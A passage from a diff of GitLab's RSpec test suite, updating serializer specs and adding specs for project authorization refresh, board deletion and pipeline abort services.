- context 'when merge request has accessibility reports' do
- before do
- allow(resource).to receive(:has_accessibility_reports?).and_return(true)
- end
-
- it 'set the path to poll data' do
- expect(subject[:accessibility_report_path]).to be_present
- end
- end
-
- context 'when merge request has no accessibility reports' do
- before do
- allow(resource).to receive(:has_accessibility_reports?).and_return(false)
- end
-
- it 'set the path to poll data' do
- expect(subject[:accessibility_report_path]).to be_nil
- end
- end
- end
-
- describe 'exposed_artifacts_path' do
- context 'when merge request has exposed artifacts' do
- before do
- expect(resource).to receive(:has_exposed_artifacts?).and_return(true)
- end
-
- it 'set the path to poll data' do
- expect(subject[:exposed_artifacts_path]).to be_present
- end
- end
-
- context 'when merge request has no exposed artifacts' do
- before do
- expect(resource).to receive(:has_exposed_artifacts?).and_return(false)
- end
-
- it 'set the path to poll data' do
- expect(subject[:exposed_artifacts_path]).to be_nil
- end
- end
- end
-
describe 'auto merge' do
before do
project.add_maintainer(user)
@@ -226,19 +174,6 @@ RSpec.describe MergeRequestPollWidgetEntity do
expect(subject[:pipeline]).to be_nil
end
- context 'when merge_request_cached_pipeline_serializer is disabled' do
- it 'returns detailed info about pipeline' do
- stub_feature_flags(merge_request_cached_pipeline_serializer: false)
-
- pipeline_payload =
- MergeRequests::PipelineEntity
- .represent(pipeline, request: req)
- .as_json
-
- expect(subject[:pipeline]).to eq(pipeline_payload)
- end
- end
-
it 'returns ci_status' do
expect(subject[:ci_status]).to eq('pending')
end
@@ -278,4 +213,39 @@ RSpec.describe MergeRequestPollWidgetEntity do
])
end
end
+
+ describe '#mergeable' do
+ it 'shows whether a merge request is mergeable' do
+ expect(subject[:mergeable]).to eq(true)
+ end
+
+ context 'when merge request is in checking state' do
+ before do
+ resource.mark_as_unchecked!
+ resource.mark_as_checking!
+ end
+
+ it 'calculates mergeability and returns true' do
+ expect(subject[:mergeable]).to eq(true)
+ end
+
+ context 'when async_mergeability_check is passed' do
+ let(:options) { { async_mergeability_check: true } }
+
+ it 'returns false' do
+ expect(subject[:mergeable]).to eq(false)
+ end
+
+ context 'when check_mergeability_async_in_widget is disabled' do
+ before do
+ stub_feature_flags(check_mergeability_async_in_widget: false)
+ end
+
+ it 'calculates mergeability and returns true' do
+ expect(subject[:mergeable]).to eq(true)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/serializers/merge_request_user_entity_spec.rb b/spec/serializers/merge_request_user_entity_spec.rb
index 697fa3001e3..026a229322e 100644
--- a/spec/serializers/merge_request_user_entity_spec.rb
+++ b/spec/serializers/merge_request_user_entity_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe MergeRequestUserEntity do
let_it_be(:user) { create(:user) }
let_it_be(:merge_request) { create(:merge_request) }
+
let(:request) { EntityRequest.new(project: merge_request.target_project, current_user: user) }
let(:entity) do
diff --git a/spec/serializers/merge_requests/pipeline_entity_spec.rb b/spec/serializers/merge_requests/pipeline_entity_spec.rb
index b91d5e7679f..03a049401c1 100644
--- a/spec/serializers/merge_requests/pipeline_entity_spec.rb
+++ b/spec/serializers/merge_requests/pipeline_entity_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe MergeRequests::PipelineEntity do
)
expect(subject[:commit]).to include(:short_id, :commit_path)
expect(subject[:ref]).to include(:branch)
- expect(subject[:details]).to include(:artifacts, :name, :status, :stages)
+ expect(subject[:details]).to include(:artifacts, :name, :status, :stages, :finished_at)
expect(subject[:details][:status]).to include(:icon, :favicon, :text, :label, :tooltip)
expect(subject[:flags]).to include(:merge_request_pipeline)
end
diff --git a/spec/serializers/namespace_basic_entity_spec.rb b/spec/serializers/namespace_basic_entity_spec.rb
index 8b69af5696a..379a49e364e 100644
--- a/spec/serializers/namespace_basic_entity_spec.rb
+++ b/spec/serializers/namespace_basic_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe NamespaceBasicEntity do
let_it_be(:group) { create(:group) }
+
let(:entity) do
described_class.represent(group)
end
diff --git a/spec/serializers/pipeline_details_entity_spec.rb b/spec/serializers/pipeline_details_entity_spec.rb
index 2f54f45866b..5756656d146 100644
--- a/spec/serializers/pipeline_details_entity_spec.rb
+++ b/spec/serializers/pipeline_details_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe PipelineDetailsEntity do
let_it_be(:user) { create(:user) }
+
let(:request) { double('request') }
let(:entity) do
diff --git a/spec/serializers/pipeline_serializer_spec.rb b/spec/serializers/pipeline_serializer_spec.rb
index bcaaa61eb04..6028da301f3 100644
--- a/spec/serializers/pipeline_serializer_spec.rb
+++ b/spec/serializers/pipeline_serializer_spec.rb
@@ -202,13 +202,32 @@ RSpec.describe PipelineSerializer do
# Existing numbers are high and require performance optimization
# Ongoing issue:
# https://gitlab.com/gitlab-org/gitlab/-/issues/225156
- expected_queries = Gitlab.ee? ? 85 : 76
+ expected_queries = Gitlab.ee? ? 82 : 76
expect(recorded.count).to be_within(2).of(expected_queries)
expect(recorded.cached_count).to eq(0)
end
end
+ context 'with build environments' do
+ let(:ref) { 'feature' }
+
+ it 'verifies number of queries', :request_store do
+ stub_licensed_features(protected_environments: true)
+
+ env = create(:environment, project: project)
+ create(:ci_build, :scheduled, project: project, environment: env.name)
+ create(:ci_build, :scheduled, project: project, environment: env.name)
+ create(:ci_build, :scheduled, project: project, environment: env.name)
+
+ recorded = ActiveRecord::QueryRecorder.new { subject }
+ expected_queries = Gitlab.ee? ? 61 : 57
+
+ expect(recorded.count).to be_within(1).of(expected_queries)
+ expect(recorded.cached_count).to eq(0)
+ end
+ end
+
context 'with scheduled and manual builds' do
let(:ref) { 'feature' }
diff --git a/spec/serializers/project_import_entity_spec.rb b/spec/serializers/project_import_entity_spec.rb
index 1481d4122ae..94af9f1cbd8 100644
--- a/spec/serializers/project_import_entity_spec.rb
+++ b/spec/serializers/project_import_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ProjectImportEntity do
include ImportHelper
let_it_be(:project) { create(:project, import_status: :started, import_source: 'namespace/project') }
+
let(:provider_url) { 'https://provider.com' }
let(:entity) { described_class.represent(project, provider_url: provider_url) }
diff --git a/spec/serializers/project_serializer_spec.rb b/spec/serializers/project_serializer_spec.rb
index 4bf0657129f..317a3714f0c 100644
--- a/spec/serializers/project_serializer_spec.rb
+++ b/spec/serializers/project_serializer_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ProjectSerializer do
let_it_be(:project) { create(:project) }
+
let(:provider_url) { 'http://provider.com' }
context 'when serializer option is :import' do
diff --git a/spec/serializers/review_app_setup_entity_spec.rb b/spec/serializers/review_app_setup_entity_spec.rb
index 0893d7ee47f..9b068a2e9dd 100644
--- a/spec/serializers/review_app_setup_entity_spec.rb
+++ b/spec/serializers/review_app_setup_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ReviewAppSetupEntity do
let_it_be(:user) { create(:admin) }
+
let(:project) { create(:project) }
let(:presenter) { ProjectPresenter.new(project, current_user: user) }
let(:entity) { described_class.new(presenter) }
diff --git a/spec/serializers/runner_entity_spec.rb b/spec/serializers/runner_entity_spec.rb
index e864b52c0f2..39cac65c5ac 100644
--- a/spec/serializers/runner_entity_spec.rb
+++ b/spec/serializers/runner_entity_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe RunnerEntity do
it 'contains required fields' do
expect(subject).to include(:id, :description)
expect(subject).to include(:edit_path)
+ expect(subject).to include(:short_sha)
end
end
end
diff --git a/spec/serializers/service_event_entity_spec.rb b/spec/serializers/service_event_entity_spec.rb
index 09bb8bca43b..64baa57fd6d 100644
--- a/spec/serializers/service_event_entity_spec.rb
+++ b/spec/serializers/service_event_entity_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe ServiceEventEntity do
let(:event) { 'push' }
it 'exposes correct attributes' do
- expect(subject[:description]).to eq('Event will be triggered by a push to the repository')
+ expect(subject[:description]).to eq('Trigger event for pushes to the repository.')
expect(subject[:name]).to eq('push_events')
expect(subject[:title]).to eq('push')
expect(subject[:value]).to be(true)
@@ -29,7 +29,7 @@ RSpec.describe ServiceEventEntity do
let(:event) { 'note' }
it 'exposes correct attributes' do
- expect(subject[:description]).to eq('Event will be triggered when someone adds a comment')
+ expect(subject[:description]).to eq('Trigger event for new comments.')
expect(subject[:name]).to eq('note_events')
expect(subject[:title]).to eq('note')
expect(subject[:value]).to eq(false)
diff --git a/spec/serializers/service_field_entity_spec.rb b/spec/serializers/service_field_entity_spec.rb
index f10639dfa1b..007042e1087 100644
--- a/spec/serializers/service_field_entity_spec.rb
+++ b/spec/serializers/service_field_entity_spec.rb
@@ -23,10 +23,10 @@ RSpec.describe ServiceFieldEntity do
type: 'text',
name: 'username',
title: 'Username or Email',
- placeholder: 'Use a username for server version and an email for cloud version',
+ placeholder: nil,
+ help: 'Use a username for server version and an email for cloud version.',
required: true,
choices: nil,
- help: nil,
value: 'jira_username'
}
@@ -41,11 +41,11 @@ RSpec.describe ServiceFieldEntity do
expected_hash = {
type: 'password',
name: 'password',
- title: 'Password or API token',
- placeholder: 'Use a password for server version and an API token for cloud version',
+ title: 'Enter new password or API token',
+ placeholder: nil,
+ help: 'Leave blank to use your current password or API token.',
required: true,
choices: nil,
- help: nil,
value: 'true'
}
@@ -72,7 +72,7 @@ RSpec.describe ServiceFieldEntity do
}
is_expected.to include(expected_hash)
- expect(subject[:help]).to include("Send notifications from the committer's email address if the domain is part of the domain GitLab is running on")
+ expect(subject[:help]).to include("Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance")
end
end
diff --git a/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb b/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb
new file mode 100644
index 00000000000..8a53d9fbf7c
--- /dev/null
+++ b/spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb
@@ -0,0 +1,295 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuthorizedProjectUpdate::FindRecordsDueForRefreshService do
+ # We're using let! here so that any expectations for the service class are not
+ # triggered twice.
+ let!(:project) { create(:project) }
+
+ let(:user) { project.namespace.owner }
+ let(:service) { described_class.new(user) }
+
+ describe '#execute' do
+ context 'callbacks' do
+ let(:callback) { double('callback') }
+
+ context 'incorrect_auth_found_callback callback' do
+ let(:user) { create(:user) }
+ let(:service) do
+ described_class.new(user,
+ incorrect_auth_found_callback: callback)
+ end
+
+ it 'is called' do
+ access_level = Gitlab::Access::DEVELOPER
+ create(:project_authorization, user: user, project: project, access_level: access_level)
+
+ expect(callback).to receive(:call).with(project.id, access_level).once
+
+ service.execute
+ end
+ end
+
+ context 'missing_auth_found_callback callback' do
+ let(:service) do
+ described_class.new(user,
+ missing_auth_found_callback: callback)
+ end
+
+ it 'is called' do
+ ProjectAuthorization.delete_all
+
+ expect(callback).to receive(:call).with(project.id, Gitlab::Access::MAINTAINER).once
+
+ service.execute
+ end
+ end
+ end
+
+ context 'finding project authorizations due for refresh' do
+ context 'when there are changes to be made' do
+ before do
+ user.project_authorizations.delete_all
+ end
+
+ it 'finds projects authorizations that needs to be refreshed' do
+ project2 = create(:project)
+ user.project_authorizations
+ .create!(project: project2, access_level: Gitlab::Access::MAINTAINER)
+
+ to_be_removed = [project2.id]
+ to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+
+ expect(service.execute).to eq([to_be_removed, to_be_added])
+ end
+
+ it 'finds duplicate entries that has to be removed' do
+ [Gitlab::Access::MAINTAINER, Gitlab::Access::REPORTER].each do |access_level|
+ user.project_authorizations.create!(project: project, access_level: access_level)
+ end
+
+ to_be_removed = [project.id]
+ to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+
+ expect(service.execute).to eq([to_be_removed, to_be_added])
+ end
+
+ it 'finds entries with wrong access levels' do
+ user.project_authorizations
+ .create!(project: project, access_level: Gitlab::Access::DEVELOPER)
+
+ to_be_removed = [project.id]
+ to_be_added = [[user.id, project.id, Gitlab::Access::MAINTAINER]]
+
+ expect(service.execute).to eq([to_be_removed, to_be_added])
+ end
+ end
+
+ context 'when there are no changes to be made' do
+ it 'returns empty arrays' do
+ expect(service.execute).to eq([[], []])
+ end
+ end
+ end
+ end
+
+ describe '#needs_refresh?' do
+ subject { service.needs_refresh? }
+
+ context 'when there are records due for either removal or addition' do
+ context 'when there are both removals and additions to be made' do
+ before do
+ user.project_authorizations.delete_all
+ create(:project_authorization, user: user)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when there are no removals, but there are additions to be made' do
+ before do
+ user.project_authorizations.delete_all
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when there are no additions, but there are removals to be made' do
+ before do
+ create(:project_authorization, user: user)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+ end
+
+ context 'when there are no additions or removals to be made' do
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '#fresh_access_levels_per_project' do
+ let(:hash) { service.fresh_access_levels_per_project }
+
+ it 'returns a Hash' do
+ expect(hash).to be_an_instance_of(Hash)
+ end
+
+ it 'sets the keys to the project IDs' do
+ expect(hash.keys).to eq([project.id])
+ end
+
+ it 'sets the values to the access levels' do
+ expect(hash.values).to eq([Gitlab::Access::MAINTAINER])
+ end
+
+ context 'personal projects' do
+ it 'includes the project with the right access level' do
+ expect(hash[project.id]).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+
+ context 'projects the user is a member of' do
+ let!(:other_project) { create(:project) }
+
+ before do
+ other_project.team.add_reporter(user)
+ end
+
+ it 'includes the project with the right access level' do
+ expect(hash[other_project.id]).to eq(Gitlab::Access::REPORTER)
+ end
+ end
+
+ context 'projects of groups the user is a member of' do
+ let(:group) { create(:group) }
+ let!(:other_project) { create(:project, group: group) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ it 'includes the project with the right access level' do
+ expect(hash[other_project.id]).to eq(Gitlab::Access::OWNER)
+ end
+ end
+
+ context 'projects of subgroups of groups the user is a member of' do
+ let(:group) { create(:group) }
+ let(:nested_group) { create(:group, parent: group) }
+ let!(:other_project) { create(:project, group: nested_group) }
+
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'includes the project with the right access level' do
+ expect(hash[other_project.id]).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+
+ context 'projects shared with groups the user is a member of' do
+ let(:group) { create(:group) }
+ let(:other_project) { create(:project) }
+ let!(:project_group_link) { create(:project_group_link, project: other_project, group: group, group_access: Gitlab::Access::GUEST) }
+
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'includes the project with the right access level' do
+ expect(hash[other_project.id]).to eq(Gitlab::Access::GUEST)
+ end
+ end
+
+ context 'projects shared with subgroups of groups the user is a member of' do
+ let(:group) { create(:group) }
+ let(:nested_group) { create(:group, parent: group) }
+ let(:other_project) { create(:project) }
+ let!(:project_group_link) { create(:project_group_link, project: other_project, group: nested_group, group_access: Gitlab::Access::DEVELOPER) }
+
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'includes the project with the right access level' do
+ expect(hash[other_project.id]).to eq(Gitlab::Access::DEVELOPER)
+ end
+ end
+ end
+
+ describe '#current_authorizations_per_project' do
+ let(:hash) { service.current_authorizations_per_project }
+
+ it 'returns a Hash' do
+ expect(hash).to be_an_instance_of(Hash)
+ end
+
+ it 'sets the keys to the project IDs' do
+ expect(hash.keys).to eq([project.id])
+ end
+
+ it 'sets the values to the project authorization rows' do
+ expect(hash.values.length).to eq(1)
+
+ value = hash.values[0]
+
+ expect(value.project_id).to eq(project.id)
+ expect(value.access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+
+ describe '#current_authorizations' do
+ context 'without authorizations' do
+ it 'returns an empty list' do
+ user.project_authorizations.delete_all
+
+ expect(service.current_authorizations.empty?).to eq(true)
+ end
+ end
+
+ context 'with an authorization' do
+ let(:row) { service.current_authorizations.take }
+
+ it 'returns the currently authorized projects' do
+ expect(service.current_authorizations.length).to eq(1)
+ end
+
+ it 'includes the project ID for every row' do
+ expect(row.project_id).to eq(project.id)
+ end
+
+ it 'includes the access level for every row' do
+ expect(row.access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+ end
+
+ describe '#fresh_authorizations' do
+ it 'returns the new authorized projects' do
+ expect(service.fresh_authorizations.length).to eq(1)
+ end
+
+ it 'returns the highest access level' do
+ project.team.add_guest(user)
+
+ rows = service.fresh_authorizations.to_a
+
+ expect(rows.length).to eq(1)
+ expect(rows.first.access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+
+ context 'every returned row' do
+ let(:row) { service.fresh_authorizations.take }
+
+ it 'includes the project ID' do
+ expect(row.project_id).to eq(project.id)
+ end
+
+ it 'includes the access level' do
+ expect(row.access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+ end
+end
diff --git a/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb b/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb
index 0c944cad40c..95e2c0380bf 100644
--- a/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb
+++ b/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb
@@ -7,12 +7,14 @@ RSpec.describe AuthorizedProjectUpdate::RecalculateForUserRangeService do
let_it_be(:users) { create_list(:user, 2) }
it 'calls Users::RefreshAuthorizedProjectsService' do
- users.each do |user|
+ user_ids = users.map(&:id)
+
+ User.where(id: user_ids).select(:id).each do |user|
expect(Users::RefreshAuthorizedProjectsService).to(
receive(:new).with(user, source: described_class.name).and_call_original)
end
- range = users.map(&:id).minmax
+ range = user_ids.minmax
described_class.new(*range).execute
end
end
diff --git a/spec/services/award_emojis/add_service_spec.rb b/spec/services/award_emojis/add_service_spec.rb
index 85c39015614..0fbb785e2d6 100644
--- a/spec/services/award_emojis/add_service_spec.rb
+++ b/spec/services/award_emojis/add_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe AwardEmojis::AddService do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:awardable) { create(:note, project: project) }
+
let(:name) { 'thumbsup' }
subject(:service) { described_class.new(awardable, name, user) }
diff --git a/spec/services/award_emojis/destroy_service_spec.rb b/spec/services/award_emojis/destroy_service_spec.rb
index 2aba078b638..f743de7c59e 100644
--- a/spec/services/award_emojis/destroy_service_spec.rb
+++ b/spec/services/award_emojis/destroy_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe AwardEmojis::DestroyService do
let_it_be(:user) { create(:user) }
let_it_be(:awardable) { create(:note) }
let_it_be(:project) { awardable.project }
+
let(:name) { 'thumbsup' }
let!(:award_from_other_user) do
create(:award_emoji, name: name, awardable: awardable, user: create(:user))
diff --git a/spec/services/award_emojis/toggle_service_spec.rb b/spec/services/award_emojis/toggle_service_spec.rb
index a7feeed50c6..74e97c66193 100644
--- a/spec/services/award_emojis/toggle_service_spec.rb
+++ b/spec/services/award_emojis/toggle_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe AwardEmojis::ToggleService do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public) }
let_it_be(:awardable) { create(:note, project: project) }
+
let(:name) { 'thumbsup' }
subject(:service) { described_class.new(awardable, name, user) }
diff --git a/spec/services/boards/destroy_service_spec.rb b/spec/services/boards/destroy_service_spec.rb
new file mode 100644
index 00000000000..cd6df832547
--- /dev/null
+++ b/spec/services/boards/destroy_service_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Boards::DestroyService do
+ context 'with project board' do
+ let_it_be(:parent) { create(:project) }
+
+ let(:boards) { parent.boards }
+ let(:board_factory) { :board }
+
+ it_behaves_like 'board destroy service'
+ end
+
+ context 'with group board' do
+ let_it_be(:parent) { create(:group) }
+
+ let(:boards) { parent.boards }
+ let(:board_factory) { :board }
+
+ it_behaves_like 'board destroy service'
+ end
+end
diff --git a/spec/services/boards/issues/move_service_spec.rb b/spec/services/boards/issues/move_service_spec.rb
index 01a3ec72987..3a25f13762c 100644
--- a/spec/services/boards/issues/move_service_spec.rb
+++ b/spec/services/boards/issues/move_service_spec.rb
@@ -62,6 +62,7 @@ RSpec.describe Boards::Issues::MoveService do
let_it_be(:testing) { create(:group_label, group: group, name: 'Testing') }
let_it_be(:list1) { create(:list, board: board1, label: development, position: 0) }
let_it_be(:list2) { create(:list, board: board1, label: testing, position: 1) }
+
let(:params) { { board_id: board1.id, from_list_id: list1.id, to_list_id: list2.id } }
before do
diff --git a/spec/services/boards/lists/list_service_spec.rb b/spec/services/boards/lists/list_service_spec.rb
index 21619abf6aa..0c8a8dc7329 100644
--- a/spec/services/boards/lists/list_service_spec.rb
+++ b/spec/services/boards/lists/list_service_spec.rb
@@ -8,46 +8,32 @@ RSpec.describe Boards::Lists::ListService do
describe '#execute' do
let(:service) { described_class.new(parent, user) }
- shared_examples 'hidden lists' do
- let!(:list) { create(:list, board: board, label: label) }
-
- context 'when hide_backlog_list is true' do
- it 'hides backlog list' do
- board.update!(hide_backlog_list: true)
-
- expect(service.execute(board)).to match_array([board.closed_list, list])
- end
- end
-
- context 'when hide_closed_list is true' do
- it 'hides closed list' do
- board.update!(hide_closed_list: true)
-
- expect(service.execute(board)).to match_array([board.backlog_list, list])
- end
- end
- end
-
context 'when board parent is a project' do
- let(:project) { create(:project) }
- let(:board) { create(:board, project: project) }
- let(:label) { create(:label, project: project) }
- let!(:list) { create(:list, board: board, label: label) }
+ let_it_be(:project) { create(:project) }
+ let_it_be_with_reload(:board) { create(:board, project: project) }
+ let_it_be(:label) { create(:label, project: project) }
+ let_it_be(:list) { create(:list, board: board, label: label) }
+ let_it_be(:unrelated_list) { create(:list) }
+
let(:parent) { project }
it_behaves_like 'lists list service'
- it_behaves_like 'hidden lists'
end
context 'when board parent is a group' do
- let(:group) { create(:group) }
- let(:board) { create(:board, group: group) }
- let(:label) { create(:group_label, group: group) }
- let!(:list) { create(:list, board: board, label: label) }
+ let_it_be(:group) { create(:group) }
+ let_it_be_with_reload(:board) { create(:board, group: group) }
+ let_it_be(:label) { create(:group_label, group: group) }
+ let_it_be(:list) { create(:list, board: board, label: label) }
+ let_it_be(:unrelated_list) { create(:list) }
+
let(:parent) { group }
it_behaves_like 'lists list service'
- it_behaves_like 'hidden lists'
+ end
+
+ def create_backlog_list(board)
+ create(:backlog_list, board: board)
end
end
end
diff --git a/spec/services/boards/lists/update_service_spec.rb b/spec/services/boards/lists/update_service_spec.rb
index cdc7784469a..10fed9b7aac 100644
--- a/spec/services/boards/lists/update_service_spec.rb
+++ b/spec/services/boards/lists/update_service_spec.rb
@@ -6,47 +6,6 @@ RSpec.describe Boards::Lists::UpdateService do
let(:user) { create(:user) }
let!(:list) { create(:list, board: board, position: 0) }
- shared_examples 'moving list' do
- context 'when user can admin list' do
- it 'calls Lists::MoveService to update list position' do
- board.resource_parent.add_developer(user)
-
- expect(Boards::Lists::MoveService).to receive(:new).with(board.resource_parent, user, params).and_call_original
- expect_any_instance_of(Boards::Lists::MoveService).to receive(:execute).with(list)
-
- service.execute(list)
- end
- end
-
- context 'when user cannot admin list' do
- it 'does not call Lists::MoveService to update list position' do
- expect(Boards::Lists::MoveService).not_to receive(:new)
-
- service.execute(list)
- end
- end
- end
-
- shared_examples 'updating list preferences' do
- context 'when user can read list' do
- it 'updates list preference for user' do
- board.resource_parent.add_guest(user)
-
- service.execute(list)
-
- expect(list.preferences_for(user).collapsed).to eq(true)
- end
- end
-
- context 'when user cannot read list' do
- it 'does not update list preference for user' do
- service.execute(list)
-
- expect(list.preferences_for(user).collapsed).to be_nil
- end
- end
- end
-
describe '#execute' do
let(:service) { described_class.new(board.resource_parent, user, params) }
diff --git a/spec/services/bulk_create_integration_service_spec.rb b/spec/services/bulk_create_integration_service_spec.rb
index 3ac993972c6..479309572a5 100644
--- a/spec/services/bulk_create_integration_service_spec.rb
+++ b/spec/services/bulk_create_integration_service_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe BulkCreateIntegrationService do
described_class.new(integration, batch, association).execute
expect(created_integration.reload.data_fields.attributes.except(*excluded_attributes))
- .to eq(integration.data_fields.attributes.except(*excluded_attributes))
+ .to eq(integration.reload.data_fields.attributes.except(*excluded_attributes))
end
end
end
diff --git a/spec/services/bulk_update_integration_service_spec.rb b/spec/services/bulk_update_integration_service_spec.rb
index e7944f07bb7..e20bcd44923 100644
--- a/spec/services/bulk_update_integration_service_spec.rb
+++ b/spec/services/bulk_update_integration_service_spec.rb
@@ -68,8 +68,8 @@ RSpec.describe BulkUpdateIntegrationService do
it 'updates the data fields from the integration', :aggregate_failures do
described_class.new(subgroup_integration, batch).execute
- expect(integration.data_fields.attributes.except(*excluded_attributes))
- .to eq(subgroup_integration.data_fields.attributes.except(*excluded_attributes))
+ expect(integration.reload.data_fields.attributes.except(*excluded_attributes))
+ .to eq(subgroup_integration.reload.data_fields.attributes.except(*excluded_attributes))
expect(integration.data_fields.attributes.except(*excluded_attributes))
.not_to eq(excluded_integration.data_fields.attributes.except(*excluded_attributes))
diff --git a/spec/services/ci/abort_pipelines_service_spec.rb b/spec/services/ci/abort_pipelines_service_spec.rb
new file mode 100644
index 00000000000..e31a45cb123
--- /dev/null
+++ b/spec/services/ci/abort_pipelines_service_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::AbortPipelinesService do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, namespace: user.namespace) }
+
+ let_it_be(:cancelable_pipeline, reload: true) { create(:ci_pipeline, :running, project: project, user: user) }
+ let_it_be(:manual_pipeline, reload: true) { create(:ci_pipeline, status: :manual, project: project, user: user) } # not cancelable
+ let_it_be(:other_users_pipeline, reload: true) { create(:ci_pipeline, :running, project: project, user: create(:user)) } # not this user's pipeline
+ let_it_be(:cancelable_build, reload: true) { create(:ci_build, :running, pipeline: cancelable_pipeline) }
+ let_it_be(:non_cancelable_build, reload: true) { create(:ci_build, :success, pipeline: cancelable_pipeline) }
+ let_it_be(:cancelable_stage, reload: true) { create(:ci_stage_entity, name: 'stageA', status: :running, pipeline: cancelable_pipeline, project: project) }
+ let_it_be(:non_cancelable_stage, reload: true) { create(:ci_stage_entity, name: 'stageB', status: :success, pipeline: cancelable_pipeline, project: project) }
+
+ describe '#execute' do
+ def expect_correct_cancellations
+ expect(cancelable_pipeline.finished_at).not_to be_nil
+ expect(cancelable_pipeline.status).to eq('failed')
+ expect((cancelable_pipeline.stages - [non_cancelable_stage]).map(&:status)).to all(eq('failed'))
+ expect(cancelable_build.status).to eq('failed')
+ expect(cancelable_build.finished_at).not_to be_nil
+
+ expect(manual_pipeline.status).not_to eq('failed')
+ expect(non_cancelable_stage.status).not_to eq('failed')
+ expect(non_cancelable_build.status).not_to eq('failed')
+ end
+
+ context 'with project pipelines' do
+ def abort_project_pipelines
+ described_class.new.execute(project.all_pipelines, :project_deleted)
+ end
+
+ it 'fails all running pipelines and related jobs' do
+ expect(abort_project_pipelines).to be_success
+
+ expect_correct_cancellations
+
+ expect(other_users_pipeline.status).to eq('failed')
+ expect(other_users_pipeline.failure_reason).to eq('project_deleted')
+ expect(other_users_pipeline.stages.map(&:status)).to all(eq('failed'))
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new { abort_project_pipelines }.count
+
+ pipelines = create_list(:ci_pipeline, 5, :running, project: project)
+ create_list(:ci_build, 5, :running, pipeline: pipelines.first)
+
+ expect { abort_project_pipelines }.not_to exceed_query_limit(control_count)
+ end
+
+ context 'with live build logs' do
+ before do
+ create(:ci_build_trace_chunk, build: cancelable_build)
+ end
+
+ it 'makes failed builds with stale trace visible' do
+ expect(Ci::Build.with_stale_live_trace.count).to eq 0
+
+ travel_to(2.days.ago) do
+ abort_project_pipelines
+ end
+
+ expect(Ci::Build.with_stale_live_trace.count).to eq 1
+ end
+ end
+ end
+
+ context 'with user pipelines' do
+ def abort_user_pipelines
+ described_class.new.execute(user.pipelines, :user_blocked)
+ end
+
+ it 'fails all running pipelines and related jobs' do
+ expect(abort_user_pipelines).to be_success
+
+ expect_correct_cancellations
+
+ expect(other_users_pipeline.status).not_to eq('failed')
+ end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new { abort_user_pipelines }.count
+
+ pipelines = create_list(:ci_pipeline, 5, :running, project: project, user: user)
+ create_list(:ci_build, 5, :running, pipeline: pipelines.first)
+
+ expect { abort_user_pipelines }.not_to exceed_query_limit(control_count)
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/abort_project_pipelines_service_spec.rb b/spec/services/ci/abort_project_pipelines_service_spec.rb
deleted file mode 100644
index 9af909ac2ab..00000000000
--- a/spec/services/ci/abort_project_pipelines_service_spec.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::AbortProjectPipelinesService do
- let_it_be(:project) { create(:project) }
- let_it_be(:pipeline) { create(:ci_pipeline, :running, project: project) }
- let_it_be(:build) { create(:ci_build, :running, pipeline: pipeline) }
-
- describe '#execute' do
- it 'cancels all running pipelines and related jobs' do
- result = described_class.new.execute(project)
-
- expect(result).to be_success
- expect(pipeline.reload).to be_canceled
- expect(build.reload).to be_canceled
- end
-
- it 'avoids N+1 queries' do
- control_count = ActiveRecord::QueryRecorder.new { described_class.new.execute(project) }.count
-
- pipelines = create_list(:ci_pipeline, 5, :running, project: project)
- create_list(:ci_build, 5, :running, pipeline: pipelines.first)
-
- expect { described_class.new.execute(project) }.not_to exceed_query_limit(control_count)
- end
- end
-
- context 'when feature disabled' do
- before do
